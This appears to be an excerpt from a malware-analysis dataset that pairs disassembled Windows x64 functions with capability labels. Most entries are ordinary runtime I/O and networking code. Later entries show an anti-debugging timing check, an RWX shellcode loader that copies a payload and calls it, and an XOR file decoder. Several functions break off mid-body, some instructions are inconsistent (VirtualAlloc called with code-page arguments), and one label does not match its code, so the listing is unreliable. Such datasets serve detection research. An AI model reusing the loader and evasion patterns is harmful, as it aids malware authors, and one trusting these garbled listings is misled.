joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180013010
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10b8
call fcn.180030ff0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1020], xmm6
mov qword [rbp + 0x1018], 0xfffffffffffffffe
mov qword [rbp + 0x1008], rdx
mov r12, rcx
lea r13, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, r13
xor edx, edx
call fcn.18003edb0
lea rcx, [rbp + 0xfe8]
xorps xmm6, xmm6
lea rbx, [rbp + 0xffc]
lea rsi, [0x180018f30]
lea r15, [rbp + 0xfb0]
mov r14, qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov rdi, qword [sym.imp.KERNEL32.dll_SleepEx]
mov qword [rbp + 0x1010], r12
mov r9d, 0x1000
mov rdx, r12
mov r8, r13
call case.0x1800104d4.258
cmp qword [rbp + 0xfe8], 0
jne 0x1800131e7
mov r12, qword [rbp + 0xff0]
test r12, r12
je 0x1800131b3
cmp r12, 0x1000
ja 0x180013209
xor r13d, r13d
nop word cs:[rax + rax]
mov r8d, r12d
sub r8d, r13d
lea rdx, [r13 - 0x50]
add rdx, rbp
mov dword [rbp + 0xffc], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], rbx
mov qword [rsp + 0x20], rsi
mov rcx, qword [rbp + 0x1008]
mov r9, r15
call r14
test eax, eax
je 0x180013187
nop word [rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call rdi
cmp dword [rbp + 0xffc], 0
je 0x180013130
movsxd rax, dword [rbp + 0x1000]
test rax, rax
jne 0x18001318d
mov eax, dword [rbp + 0x1004]
add r13, rax
cmp r13, r12
je 0x180013170
jbe 0x1800130e0
jmp 0x1800131f5
mov r12, qword [rbp + 0x1010]
lea r13, [rbp - 0x50]
lea rcx, [rbp + 0xfe8]
jmp 0x180013095
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0xfe0], rax
mov qword [rbp + 0xfd8], 1
lea rcx, [rbp + 0xfe0]
call fcn.180005b00
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1010]
call rsi
mov rcx, qword [rbp + 0x1008]
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0xff0]
call fcn.180005b00
jmp 0x1800131b3
lea r8, str.library_std_src_syspalwindowspipe.rs
mov rcx, r13
mov rdx, r12
call fcn.1800404b0
jmp 0x18001321d
lea r8, str.library_std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, r12
call fcn.1800404a0
ud2
Function at 0x180016500
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
sub rsp, 0x68
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.18001fbd0
mov rax, qword [rsp + 0x38]
movabs rdi, 0x8000000000000000
cmp rax, rdi
jne 0x180016534
mov rax, qword [rsp + 0x40]
jmp 0x1800165c4
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm0
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x50]
mov r8b, 1
call fcn.1800215b0
mov rsi, qword [rsp + 0x20]
cmp rsi, rdi
jne 0x180016566
mov rax, qword [rsp + 0x28]
jmp 0x1800165c4
mov rdi, qword [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x180016597
test rsi, rsi
je 0x180016593
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.180004420
xor eax, eax
jmp 0x1800165c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
test rsi, rsi
je 0x1800165c4
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
mov rsi, rax
call fcn.180004420
mov rax, rsi
add rsp, 0x68
pop rdi
pop rsi
ret

Function at 0x180017080
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x180044598]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x1800170c4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x180017123
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x180017132
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x18001716a
cmp eax, 0x103
je 0x180017174
test eax, eax
js 0x18001714f
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x18001716a
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.18000ea20
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.180006110
mov ecx, 7
int 0x29
ud2
Function at 0x1800171e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x180044598]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x180017224
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x18001728a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1800172c1
test eax, eax
js 0x18001729b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1800172b4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.18000ea20
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.180006110
mov ecx, 7
int 0x29
ud2

Function at 0x180017330
Capabilities:
Create udp socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov edi, r8d
mov rsi, rcx
cmp word [rdx], 0
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, r8d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x180017385
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x180017421
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2726
je 0x180017399
cmp eax, 0x2739
jne 0x1800173ea
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, edi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1800173e4
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1800173ff
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x180017421
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x180017421
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
Function at 0x180017f50
Capabilities:
Set current directory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
add rdx, rcx
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rdx
mov word [rbp - 0x28], 0
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.18000ad80
mov rdx, qword [rbp - 0x10]
cmp rdx, qword [rbp - 0x20]
jne 0x180017f99
lea rcx, [rbp - 0x20]
call fcn.18000a6f0
mov rdx, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x18]
mov word [rsi + rdx*2], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x180017fd7
xor edi, edi
mov rdx, qword [rbp - 0x20]
test rdx, rdx
je 0x180017fcc
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.180004420
mov rax, rdi
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov rdx, qword [rbp - 0x20]
test rdx, rdx
jne 0x180017fbb
jmp 0x180017fcc

Function at 0x180018050
Capabilities:
Create pipe
Generate random numbers via winapi

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa0], xmm6
mov qword [rbp + 0x98], 0xfffffffffffffffe
mov qword [rbp + 0x28], rcx
mov byte [rbp + 0x95], dl
movzx eax, dl
mov ecx, 0x40080002
sub ecx, eax
mov dword [rbp + 0x24], ecx
xor edi, edi
mov r15d, 8
mov sil, 1
xorps xmm6, xmm6
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
xor eax, eax
mov qword [rbp - 0x10], rax
nop

Function at 0x180018a00
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x78
sub esp, 0x78
Function at 0x1800193f0
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
cmp qword [rdx], 0
jne 0x180019547
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
jne 0x180019427
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x18001950c
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x18001952a
sub rax, rdx
add rdx, qword [rbx + 8]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x2c], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x2c]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180019489
mov ecx, dword [rsp + 0x2c]
mov eax, 2
test rcx, rcx
je 0x1800194b2
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov byte [rsi + 1], 1
jmp 0x1800194b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rax
shl rcx, 0x20
or rcx, 2
mov qword [rsp + 0x40], rcx
cmp eax, 0x6d
je 0x1800194ba
cmp eax, 0x3e5
jne 0x1800194e9
lea rax, [rsp + 0x30]
jmp 0x1800194c8
mov byte [rsi + 1], 0
xor eax, eax
jmp 0x1800194ef
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
mov qword [rax], 0
lea rcx, [rsp + 0x40]
call fcn.180005b00
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
cmp rax, 2
jne 0x1800194f9
mov qword [rsi + 8], rcx
mov al, 1
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
test rax, rax
jne 0x180019472
mov eax, 1
jmp 0x18001947c
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
call fcn.18003f630
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x180019434
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.18003f630
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x180019434
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.18003f370
int3
Function at 0x18001d930
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, rcx
lea rcx, [rsp + 0x40]
call fcn.18001fbd0
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
jmp 0x18001d995
movups xmm0, xmmword [rsp + 0x48]
mov qword [rsp + 0x58], rax
Function at 0x18001ecf0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x18001ed33
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x18000cbc0]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syspalwindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.18003fff0
ud2

Function at 0x180022050
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1f8
mov rax, rdx
mov rsi, rcx
mov rdx, qword [rdx]
mov rbx, qword [rax + 8]
movzx edi, word [rax + 0x10]
mov rax, qword [0x180058c38]
cmp rax, 3
jne 0x180022144
cmp rbx, 0x17f
ja 0x18002215c
lea r14, [rsp + 0x78]
mov rcx, r14
mov r8, rbx
call fcn.18003e710
mov byte [rsp + rbx + 0x78], 0
inc rbx
lea rcx, [rsp + 0x28]
mov rdx, r14
mov r8, rbx
call fcn.18002b1f0
cmp qword [rsp + 0x28], 0
je 0x1800220d2
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x18002216a
mov rcx, qword [rsp + 0x30]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
lea r9, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18002212c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x18002216a
mov rax, qword [rsp + 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
jmp 0x18002216a
mov r14, rdx
call fcn.18003f7d0
mov rdx, r14
cmp rbx, 0x17f
jbe 0x18002208b
mov rcx, rsi
mov r8, rbx
mov r9d, edi
call fcn.18003f920
mov rax, rsi
add rsp, 0x1f8
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x180022180
Capabilities:
Connect socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, rcx
test rdx, rdx
je 0x18002219f
mov qword [rsi + 8], r8
mov qword [rsi], 1
jmp 0x18002227f
mov rax, qword [0x180058c38]
cmp rax, 3
jne 0x18002228a
lea rcx, [rsp + 0x20]
mov rbx, r8
mov rdx, r8
mov r8d, 1
call fcn.180017330
cmp qword [rsp + 0x20], 0
je 0x1800221e3
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x18002227f
mov rdi, qword [rsp + 0x28]
mov rcx, rbx
cmp word [rbx], 0
je 0x18002220c
movups xmm0, xmmword [rcx + 4]
mov eax, dword [rcx + 0x14]
mov edx, dword [rcx + 0x18]
movzx ecx, word [rcx + 0x1c]
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x180022221
mov eax, dword [rcx + 2]
movzx ecx, word [rcx + 6]
mov r8d, reloc.WS2_32.dll_recv
mov r9w, 2
xorps xmm0, xmm0
rol cx, 8
mov word [rsp + 0x20], r9w
mov word [rsp + 0x22], cx
mov dword [rsp + 0x24], eax
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x18002225d
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x18002227f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov rdi, r8
call fcn.18003f7d0
mov r8, rdi
jmp 0x1800221b0
Function at 0x18002fc40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x18002fcba
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x18002fcb0
cmp r11, r10
ja 0x18002fd45
cmp r10, rdx
ja 0x18002fd57
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x18002fcb2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x18002fc90
jmp 0x18002fd27
ja 0x18002fcba
mov r11, r10
cmp rax, r8
jne 0x18002fc62
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x18002fd2b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x18002fd00
mov r8, r10
sub ecx, r9d
jns 0x18002fd1e
jmp 0x18002fd2d
cmp r10, rdx
je 0x18002fd39
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x18002fd2d
xor al, 1
cmp r8, rdx
jne 0x18002fce0
jmp 0x18002fd2d
xor eax, eax
jmp 0x18002fd2d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.18003ffb0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1800404b0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1800404a0
int3
Function at 0x180038a14
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180038a44
xor eax, eax
jmp 0x180038b07
mov rbp, rbx
cmp word [rax], si
je 0x180038a69
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180038a50
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180038a4c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180038934
movsxd r14, eax
test eax, eax
jne 0x180038aa7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180038a3d
mov rcx, r14
call fcn.180039ca4
mov rdi, rax
test rax, rax
jne 0x180038ac0
xor ecx, ecx
call fcn.180036f6c
jmp 0x180038a9c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180038934
test eax, eax
jne 0x180038af1
mov rcx, rdi
call fcn.180036f6c
jmp 0x180038afb
xor ecx, ecx
call fcn.180036f6c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18003e300
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18003e328
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18003e328
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x18003f920
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.180029f60
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x18003f9b9
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18003f9dd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x18003f9fb
jmp 0x18003fa0c
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x18003fa0c
mov rcx, qword [rsp + 0x38]
mov r8d, 1
jmp 0x18003fa07
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x18003fa0c
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.180004420
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x4010e1
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x401104
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x40112f
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x401128
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x403ae6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xa694
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x403b37
mov rbx, rax
call 0x403b1a
nop
pop rsi
mov r9, rax
add rsi, 0x715d9
mov rcx, 0xa694
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x403b33
call r9
mov ecx, 1
ret
Function at 0x4045a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Read file on windows

Disassembly:
mov r11, rsp
sub rsp, 0xc68
mov rax, qword [0x00472618]
xor rax, rsp
mov qword [rsp + 0xc40], rax
mov qword [r11 + 0x20], rbx
mov qword [r11 - 8], rbp
mov qword [r11 - 0x10], rsi
mov esi, edx
mov rbp, rcx
mov qword [r11 - 0x18], rdi
lea ecx, [rsi + 1]
mov rdi, r8
call fcn.00434590
lea r9, [rsp + 0x30]
mov r8d, esi
mov rcx, rdi
mov rdx, rax
mov qword [rsp + 0x20], 0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40460d
cmp dword [rsp + 0x30], 0
je 0x404784
jmp 0x40461c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x26
je 0x404784
mov byte [rsi + rbx], 0
mov edx, dword [rsp + 0x30]
mov ecx, 0xe9
test edx, edx
jle 0x40463f
mov rax, rbx
xor byte [rax], cl
add rax, 1
sub ecx, 3
sub rdx, 1
jne 0x404630
lea rcx, [rsp + 0x42]
xor edx, edx
mov r8d, 0x3fe
mov word [rsp + 0x40], 0
call fcn.00435390
test rbx, rbx
je 0x4046a3
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
lea rax, [rsp + 0x40]
mov r9d, 0xffffffff
not rcx
mov r8, rbx
xor edx, edx
sub rcx, 1
mov dword [rsp + 0x28], ecx
mov rdi, rcx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd rdx, edi
mov word [rsp + rdx*2 + 0x40], 0
lea rcx, [rsp + 0x40]
mov dx, 0x3d
call fcn.00434ba0
test rax, rax
mov rsi, rax
je 0x404784
lea rax, [rsp + 0x40]
mov rdi, rsi
lea rcx, [rsp + 0x442]
sub rdi, rax
xor edx, edx
mov r8d, 0x3fe
sar rdi, 1
mov word [rsp + 0x440], 0
add edi, 1
call fcn.00435390
lea edx, [rdi - 1]
movsxd r8, edx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x440]
call fcn.00435480
movsxd rdx, edi
lea rcx, [rsp + 0x842]
mov word [rsp + rdx*2 + 0x43e], 0
mov r8d, 0x3fe
xor edx, edx
mov word [rsp + 0x840], 0
call fcn.00435390
lea rdx, [rsi + 2]
lea rcx, [rsp + 0x840]
sub rcx, rdx
movzx eax, word [rdx]
add rdx, 2
test ax, ax
mov word [rcx + rdx - 2], ax
jne 0x404740
lea rsi, str.LANG
lea rdi, [rsp + 0x440]
mov ecx, 5
